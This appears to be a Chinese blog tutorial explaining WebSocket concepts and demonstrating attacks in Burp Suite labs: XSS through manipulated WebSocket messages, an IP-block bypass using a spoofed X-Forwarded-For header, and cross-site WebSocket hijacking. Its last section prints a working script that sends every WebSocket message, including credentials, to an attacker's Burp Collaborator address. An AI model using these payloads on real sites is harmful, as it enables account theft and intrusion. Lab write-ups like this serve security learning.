WebSocket的利用方式
在最近的渗透任务中,有一个站我记得很清楚,我每次进它会进行websocket连接,返回的状态码是101,虽然每次访问都访问都会有这个websocket连接,这个东西在我学习网络的时候也了解过是什么,但是不太清楚有没有利用方式,所以研究一番。
1. 什么是websocket
1.1 socket和websocket的对比
socket:
首先来讲下socket,socket我倒是不陌生就是套接字吗,可以给它理解成一个API,是介于应用层和传输层中间被抽象出来的一层,因为传输层较为复杂,所以对传输层进行了一层封装,这样使用起来较为简单,在主流的开发语言中肯定都提供socket函数,记得之前大学的时候用套接字写过聊天类型的软件,而使用它一般需要提供协议,本地和远程的IP、端口。
websocket
HTTP在设计之初就是“请求-应答模式”,限制了TCP的能力,我们知道TCP是全双工通信,双方都可以同时给对方数据,但是HTTP只能是客户端发请求,服务器响应,而服务器不能主动发数据给客户端。
但是我们一些网站需要“推送”这种需求,服务器想达到能主动给客户端推送消息的目的,最开始解决这种办法是“轮循”的方式,也就是例如:一分钟客户端每隔10秒问一下服务器有没有新消息,服务器当然有两种情况告诉客户端没新数据,或者有新数据并把新数据告诉客户端,但是这种方式浪费资源,所以WebSocket就出现了。
1.2 websocket的特点和应用
websocket具有以下特点
双方都可以主动发消息
WebSocket跟Http平级,都是应用层协议。
WebSocket跟Http一样也使用80或443端口,这样能绕过大多数防火墙的限制。
ws://example.com/wsapi
wss://secure.example.com/wsapi
WebSocket需要先建立连接(应用层的连接,需要利用HTTP,也可以看做升级)
H5中出现的,在前端用JS操作。
websocket建立连接讲解
通常情况下websocket建立连接如下所示
Connection
必须为Upgrade(这表示客户端希望连接升级)Upgrade
必须设置成websocket(声明想升级到websocket协议)Sec-WebSocket-Version
表示支持的版本(这里一般都是13)Sec-WebSocket-Key
是客户端生成的随机字符串
秘钥操作过程:
服务端接收到客户端的Sec-WebSocket-Key
后
将
Sec-WebSocket-Key
的值当做字符串后边加上一个固定的GUID将第一步里面生成的新的字符串进行SHA-1摘要计算
最后再将第二步计算后的值进行Base64编码
其实这样做的意义就是将其和正常的HTTP请求区分开来。
2.websocket的漏洞利用
既然我们知道了websocket和利用了http协议,且端口相同,那么其实平时发生在HTTP协议中的web漏洞,也同样能够发生在websocket中。
2.1 Burp实验室演示漏洞利用过程
2.1.1 操纵 WebSocket 消息以利用漏洞
首先打开实验室,在历史的请求中并没发现websocket的痕迹,但是在主页中发现了live chat
在线聊天功能,一般socket都应用在聊天功能上。
为了方便我发现websocket的相关请求,我利用Burp的HaE
插件进行了标记颜色,如下图所示
我这里点到聊天功能随便发送了两条信息,发现他们被展示到了前端,被td标签包裹,既然如此直接尝试构造xss
发现<>
符号被实体化
我们这里看一下历史,如下图发现它在发送之前已经被编码
所以没关系,我们直接构造发包,但是这里不到为什么我构造最普通的<script>alert(1);</script>
它不会弹,那我这里用其它标签变通一下。
成功
2.1.2 操纵 WebSocket 握手以利用漏洞
跟上一关一样尝试构造xss
发现服务器直接断开连接
既然把我的地址假如黑名单,那我们可能平时首先想到的是利用代理或者XFF头,所以尝试将XFF头改成127.0.0.1,又成功建立了websocket连接,为了绕过服务端的检查,我们可以各种尝试,那首先大小写。
直接成功
2.1.3 跨站 WebSocket 劫持
既然http存在CSRF,那么同样的websocket也同样存在,那我们这里的思路如下图所示:
ok既然如此,那我们来进行漏洞利用,首先我们要知道WS的CSRF防御策略通常情况下有两种,一是验证Origin等字段,另外一种就是csrf令牌其实也就是我们熟悉的token,token的防御思路如下:
1.用户登录后,后端生成一个随机的token值存放在session中
2.用户发送敏感请求携带token值
3.后端校验,并更新token
这样一来攻击者就无法获取到token的值,也就无法利用CSRF来利用用户权限进行相关操作。
回到正题,我们在请求中未发现token字段并且我们将websocket的建立请求改变了Origin的值发现仍然可以建立连接,那很可能就是没有进行CSRF的防御。
首先我在聊天窗口发送了123,然后我们清空websocket历史记录,然后刷新页面,发现我们给服务器只发送了一个READY
的ws请求,然后服务器会将之前的记录还给我们。
那么这样的话,当我们可以构造一个利用页面,利用JS令访问的主机建立ws连接并且发送READY,并且用DNSLog带外的方式捕获信息,这样的话服务端就会返回信息给用户,那我们生成一个Burp Collaborator client地址
它就相当于DNSlog,点击copy to clipboard
然后修改以下信息,将刚才复制的Burp Collaborator client地址和websocket的连接地址替换。
<script>
//创建WebSocket并赋值给ws变量
var ws = new WebSocket('wss://websocket的连接地址');
ws.onopen = function() {
//当ws(WebSocket)处于连接状态时执行
ws.send("READY");
};
ws.onmessage = function(event) {
//当ws(WebSocket)请求有响应信息时执行
fetch('https://你的Burp Collaborator client地址', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
替换完后粘贴到body里面,然后点击Deliver exploit to victim
(这个按钮就是模拟用户点进了我们构造的恶意请求)。
然后回到burp多点几下poll now
,发现账户名和密码去进行登录然后就可以了。
成功。